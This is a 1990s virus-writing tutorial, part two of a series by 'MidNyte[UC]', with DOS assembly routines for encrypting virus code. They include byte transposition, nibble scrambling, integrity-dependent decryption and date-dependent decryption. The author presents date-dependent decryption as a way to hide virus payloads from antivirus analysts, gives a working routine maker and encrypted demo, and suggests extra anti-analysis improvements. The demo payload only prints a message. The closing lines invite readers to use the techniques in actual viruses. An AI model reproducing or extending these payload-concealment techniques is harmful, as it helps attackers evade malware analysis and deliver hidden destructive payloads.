# An Introduction to Encryption, Part II

ivanlef0u.fr/repo/madchat/vxdevl/vdat/tuencrp2.htm

## Introduction.

Ok, if you're reading this I hope you have also read part I. If not, I hope you know enough already for this to make sense. In this part, I'll give you some ways of making your data as secure as possible, along with a few ways of reducing the amount of code you require to encrypt and decrypt something securely. As before, I will leave the tutoring of armouring to people better qualified to teach (I've only dabbled in the subject so far). It will be up to you to take the routine you have made from this tutorial and armour it sufficiently to make all the work you put in worth anything.

## VLT - Variable Length Transposition.

This technique is best used more than once, and with some other form of encryption. The example code I have included for this technique is the subroutine that does the reversal only. You will need to supply it with the starting offset of the bytes and the number of bytes to scramble. You will also need to keep track of the number of bytes swapped each time, so that it can be reversed. I will demonstrate a method to avoid this drawback later. The routine uses the stack to push the bytes in order. Normally when using the stack you have to reverse the order of the pops to restore the original order of the data, but in this case that's exactly what we don't want. After the pushes, we're going to pop in the same order, which will therefore reverse the original order of the bytes. The strength of this encryption lies in the number of times it is repeated, aswell as a good choice of the size range of the chunks reversed. If you reverse chunks of data that are too large, you will see snippets of code that have remained intact. If the chunks are too small, none of the code will be very far from it's original position so some clues will be present, for example, if a text string is present within the code. I have found the best way to use this encryption is to use a random amount of characters (2-10) for each chunk, and run through the scrambling routine at least three times. This does however leave a table of unscrambling instructions almost the same size as the actual code (not a good thing). Good results can also be attained by using first one number constantly then run again with another number, but have these numbers chosen carefully to make the scrambling appear very random. (ie, scramble once using groups of 3, then again with groups of 4, then a final time with groups of 9. These numbers have no common factors and give a fairly good scrambling without the need for a table.) A further advancement would be to use 3 then 4 then 9 repeatedly on the first run, then on the second use 4 then 9 then 3. When using this method, you will need an overrun buffer at the end of the encrypted section.

```
;Sub-routine to reverse order of X bytes

;called with:
;di=start of bytes to reverse
;cx=number of bytes to reverse

;requires:
;stack space of at least double cx

;returns:
;ax=destroyed, cx=0, di=si=offset of next byte, bx=number of bytes reversed

   mov si,di

start_pushes:
   mov bx,cx            ;save count
   lodsb                ;[si] to al
   push ax              ;ah is pushed but just ignored
   loop start_pushes
   mov cx,bx            ;restore count

start_pops:
   pop ax
   stosb                ;al to [di]
   loop start_pops

done:
   ret
```

The following routine has been adapted to push word sized values, as pushing word sized data but only using only one byte is a waste of stack space. (We are still however, reversing every byte, not just every word.) The modification is straightforward, just a change to the load and store commands and a simple swap of the low and high order bytes before the word is pushed. This way each word is pushed 'backwards' onto the stack, ready to come of in the reverse order. You will now have to use even sized blocks of data, but you have the advantage of halving the stack size required. A simple NOP at the end of the code will suffice as a buffer.

```
;Sub-routine to reverse order of X words

;called with:
;di=start of words to reverse
;cx=number of words to reverse

;requires:
;stack space of at least cx

;returns:
;ax=destroyed, cx=0, di=si=offset of next word, bx=number of bytes reversed

   mov si,di

start_pushes:
   mov bx,cx    ;save count
   lodsw        ;[si] to ax
   xchg ah,al   ;to reverse order of bytes in word
   push ax
loop start_pushes
   mov cx,bx    ;restore count

start_pops:
   pop ax
   stosw        ;ax to [di]
   loop start_pops

done:
   ret
```

**Boundary Scrambling.**

This is a very simple but effective method of destroying the normal byte boundaries (the point where one byte stops and the next starts). All we're doing here is swapping the high nibble of one byte for the low nibble of the next. We need a dummy value at either end to ensure encryption of all of the bytes. (it's a dead give-away if you use zero for the dummies, by the way, I'll use that in the example to show you why and to make it easier to see what we're swapping). Note: A nibble is half a byte or four bits, for those who didn't know.) If you use a hex editor to view random bytes before and after scrambling you'll notice that the nibbles are displayed as a single character (ie, in the byte FF in hexadecimal (256 decimal), each F is a nibble). You can use a hex editor to quickly check that the boundry scrambling is working as it should by scrambling values such as ABh, and watching for it to change to BAh. A quick diagram of how the scrambling looks in binary:

```
  00000000 11111111 11111111 00000000  <--      Each of these is a byte
                                                (in binary) before scrambling
  00001111 00001111 11110000 11110000  <--      This is the sequence after
        \   /    \   /    \   /                 boundary scrambling
         \ /      \ /      \ /             <--- The three swaps made by
                                                the scrambler
```

```
;Sub-routine to scramble byte boundries

;called with:
;si=start of bytes to scramble
;dx=number of bytes to scramble (including

;returns:
;ax,bx,cx,dx,si,di=destroyed

   mov di,si

start:
   lodsw                         ;load a word
   dec si                        ;but only advance by a byte
   mov bx,ax                     ;make a copy of the word
   and bx,1111000000001111b      ;only store the nibbles that will remain
                                 ;unchanged this loop
   and ax,0000111111110000b      ;remove nibbles stored in bx from ax
   mov cl,4
   shr ah,cl                     ;move high nibble to low nibble position
   shl al,cl                     ;move low nibble to high nibble position
   xchg al,ah                    ;swap nibbles
   or ax,bx                      ;combine swapped and untouched nibbles
   stosw                         ;put back word
   dec di                        ;advance only by a byte
   dec dx
   jnz start

done:
   ret
```

To improve upon this technique, you could also encrypt the word you've just loaded into ax with a rolling key just before you swap nibbles. (remember to undo this after you've swapped nibbles when decrypting). This will mean each byte will be encrypted twice each time through the loop, plus all the normal boundaries will be destroyed. This is a huge improvement over simple XOR encryption.

**IDD - Integrity-Dependant Decryption.**

This is a system for checking the integrity of your encrypted data. If it's been corrupted or tampered with you'll know and can then decide to whether to quit, crash, jump to payload etc. It's basically a system that uses the value of the previous decrypted byte to decrypt the next. It keeps a checksum so you know if it has been decrypted correctly or not. You will need to work this checksum out when encrypting. A diagram is in order to show the specific details of encryption. It will be easier to understand if I show you how the decryption works first, and then show you how to encrypt the data specifically for that decryptor.

To decrypt, the value of X is used to decrypt A. The unencrypted value of A is then SUB'ed from the value of X, and the new value of X is used to decrypt B. This goes on all through. You can see that if any of the bytes were corrupted (accidentally or not), they would incorrectly alter the value of the key (X) at that point, and all the bytes that followed would be decrypted incorrectly. This would be shown when X is checked after decryption.

```
;Sub-routine to decrypt using IDD

;called with:
;si=start of bytes to decrypt (including key)
;cx=number of words to decrypt (not including key)

;returns:

   mov si,di
   lodsw
   mov dx,ax    ;store key in dx
   push si      ;save this address for returning

start:
   lodsw                ;load word
   xor ax,dx    ;decryption operation
   sub dx,ax    ;take new value away from key
   stosw                ;put back word
   loop start

check:
   cmp dx,0
   je done:
   int 20h      ;or whatever you want to do if the decryption hasn't worked

done:
   pop si       ;jump to si to run the unencrypted code
                ;(the first word is a key, not code)
   ret
```

To encrypt for this system, we must create a checksum by altering the key as we go. In the decryption we subtracted the unencrypted value from the current key value to get the new value, the key ending with zero. To encrypt for this, we simply start with zero and add the value we're going to encrypt to the key value before we encrypt it. The key must then be written before the encrypted code as the key value. When encrypting code, make sure you have a nul word before the code to accommodate the key value, and don't forget to copy the key along with the rest of the code.

```
;Sub-routine to encrypt using IDD

;called with:
;di=end of bytes to encrypt
;dx=number of words to encrypt

;returns:
;di=start of code & key

   mov si,di
   mov dx,0
   sdi          ;set direction flag

start:
   lodsw
   add dx,ax
   xor ax,dx
   stosw
   loop start

   save_key
   mov ax,dx
   stosw

   done:
   ret
```

**DDD - Date Dependant Decryption.**

This is a system that I have developed that is similar to RDA, but has an interesting twist (as far as I know this hasn't been done before). Instead of using a random number which is worked out each time, you use the components of the Time and Date for when you want the code section to run. This of course limits the usefulness of DDD to payloads, but makes it a lot harder to break than RDA. Quite simply, when writing the routine, you use the time and date of activation to encrypt the code, making a checksum as you go. This code is then decrypted with the current time and date each time it's run, and if the generated checksum is right, control passes to the decrypted routine. This will happen only on the date and time it was intended, (ie the date and time used to encrypt it). Simply patching the program to execute the DDD encrypted section whether the checksum matches or not will result in incorrectly decrypted code (ie, gibberish) being run. This will almost certainly lead to a crash. Encrypting a payload using DDD means that a brute force method must be used to decrypt it, no other method will work. When used as a virus payload, AV companies must either spend time brute forcing the encryption, or admit to the public that they don't know what the payload actually does.

The following routines are a simple DDD routine maker, and the output of that routine made into a functional program. This is a very simple version, having only 365 combinations to brute force. It is left to the reader to improve on this design, as there are too many ways it can be changed. A few possibilities are outlined below to get you started. Please note the way the delta offset has to be determined differently to normal, because of the way the routine is generated independantly of the virus.

I have written a small routine to take some of the hassle out of creating a DDD routine. It turns the created data into the assembly declaration equivalent, ie 'int 21h' becomes '0CDh,021h'. Simply cut and paste into your code as 'db 0CDh,021h'.

The above produces the db section in the virus-ready routine below. The below routine will work correctly when the date is 19/07/1999.

```
code segment
     assume cs:code,ds:code
     org 100h

start:
   mov ah,2ah                           ;get system date
   int 21h                              ;DH=Month, DL=Day, CX & AX
ignored
   mov cx,(offset ddd_end - offset ddd_start)-2         ;number of bytes
minus the key
   mov si,offset ddd_start
   mov di,si
   xor bx,bx
   xor ax,ax

ddd_loop:
   lodsb
   sub al,dh
   xor al,dl
   add bx,ax            ;make checksum from un-encrypted values
   stosb
   loop ddd_loop
   lodsw                ;this should now be the key stored at the end
   cmp bx,ax            ;compare with checksum
   je ddd_start         ;equal if date is correct

   int 20h

ddd_start:
   db 002h,01Ah,01Ah,050h,097h,0D8h,01Fh,08Ah,0AEh
   db 021h,0E5h,039h,0E5h,03Ah,020h,025h,059h,068h
   db 07Dh,084h,03Bh,06Eh,03Ah,071h,083h,06Dh,03Ah
   db 07Bh,086h,079h,07Eh,03Ah,06Eh,082h,081h,067h
   db 03Ah,07Eh,081h,07Eh,084h,03Bh,06Eh,03Ah,06Eh
   db 068h,079h,067h,082h,03Ah,071h,083h,06Dh,068h
   db 03Ah,082h,079h,068h,07Eh,03Ah,07Eh,068h,081h
   db 06Ch,07Dh,033h,020h,025h,03Ah,03Ah,03Ah,03Ah
   db 03Ah,03Ah,03Ah,03Ah,03Ah,03Ah,03Ah,03Ah,03Ah
   db 03Ah,03Ah,03Ah,03Ah,03Ah,03Ah,03Ah,03Ah,03Ah
   db 03Ah,03Ah,03Ah,03Ah,03Ah,03Ah,03Ah,03Ah,03Ah
   db 03Ah,03Ah,03Ah,03Ah,03Ah,03Ah,03Ah,045h,065h
   db 081h,07Eh,064h,071h,06Eh,07Dh,04Fh,04Dh,057h
   db 055h,020h,025h,03Eh,00Bh,021h
ddd_end:

code ends
     end start
```

```
;DDD Routine Maker

code segment
     assume cs:code,ds:code
     org 100h

start:
   mov dh,07d                           ;DH=Month to work
   mov dl,19d                           ;DL=Day to work
   mov cx,offset ddd_end - offset ddd_start
   mov si,offset ddd_start
   mov di,si
   xor bx,bx
   xor ax,ax

ddd_loop:
   lodsb
   add bx,ax            ;make checksum from un-encrypted values
   xor al,dl            ;xor with today's day
   add al,dh            ;add today's month
   stosb
   loop ddd_loop

   mov ax,bx
   stosw                ;stores key at the end

convert:
   mov di,offset buffer
   mov si,offset ddd_start

next_char:
   cmp si,offset ddd_end+2      ;=2 for the key
   je done

   mov al,030h
   stosb                ;ascii zero

   lodsb
   push ax
   and al,11110000b
   mov cl,4
   shr al,cl
   call write_char

   pop ax
   and al,00001111b
   call write_char

   mov al,068h          ;'h'
   stosb
   mov al,02ch          ;','
   stosb
   jmp next_char

write_char:
   cmp al,0ah
   jae alpha

   add al,030h          ;to make ascii number
   stosb
   ret

alpha:
   add al,055d          ;to make ascii letter
   stosb
   ret

done:
   mov ax,3c00h         ;create new file
   mov dx,offset filename
   xor cx,cx
   int 21h

   xchg ax,bx
   mov ax,4000h         ;write ddd section
   mov dx,offset buffer
   mov cx,di
   sub cx,dx            ;length
   int 21h

   mov ax,3e00h         ;close file
   int 21h

   int 20h

ddd_start:

   call find_delta

find_delta:
   pop dx
   add dx,offset message - offset find_delta
   mov ah,9h
   int 21h
   int 20h
   message db 10,13,'Aren''t you glad this didn''t'
           db 'trash your hard drive?',10,13
           db '                                    '
           db '   -MidNyte[UC]',10,13,'$'

ddd_end:

key_place_marker dw 0h          ;needed to stop 'dd' of next string
;being overwritten!

filename db 'dddout.asm',0

buffer:
```

```
code ends
     end start
```

This is an advancement on the virus carrying around the key, but with only 365 possibilities we are not very secure yet, it wouldn't take much to brute force. There are many ways to improve this system and I want to outline a few here, but it's really up to you to improve the system in your own unique way as these are only pointers. We could evolve DDD to include the Hour of the day too giving us 8760 possibilities, but then you're drastically cutting down the chances of it actually ever happening. Then again this could be exactly what you want for your payload anyway, making it a real rarity to give the virus some character. We could also add minutes into the equation, giving us over half a million possible encryptions, but for a runtime virus this would be pushing the 'rare activation' idea a bit too far. We could get round this by making the DDD section resident (even if the virus isn't) and running it once a minute maybe? That way it's going to run if the computer is on (without slowing it down too much), but anyone who wants to know what the routine has in store for them is going to have to brute force check 525,600 combinations. It may also be worth slowing down the decryption process (through adding extra loops of decryption for instance) by as much as possible (without being visibly slower for a single run). This will make the brute force cracking time even longer.

Is there any reason why DDD should be Date/Time dependant? Why not make it dependant on the first few characters in the 'autoexec.bat' file. Maybe anyone with the first line starting with 'REM' should see your payload. Just encrypt with the ordinal values of 'R', 'E' and 'M', and let the DDD read in and use the first three characters of the autoexec file to decrypt. Or how about a IOS setting? or a particular version of software? Any virus can do that, but when it checks it gives away what it's looking for to anyone who is disassembling it, DDD will not.

How about multiple layers of DDD? One DDD routine will, on the right date, decrypt and run a routine that writes a new routine over the old. This second routine could be set to a different date, or set to some other criteria, or set to be a TSR checker (stronger) when the first was not. Then you have a slim chance of 'enabling' a payload that itself can be as rare or common as you like. In this way it's possible to have a routine that runs once a day after a certain date, but still be secure until that date.

Conclusion.

Thus concludes today's lesson. I hope it's been of some use. I'll probably write a Part III sometime, but if so, it won't be for a while yet. If you have any advancements on any of these techniques or you ever use them in an actual virus, I'd love to hear about it.

As always, I welcome ANY feedback, good or bad, as long as it is reasonable.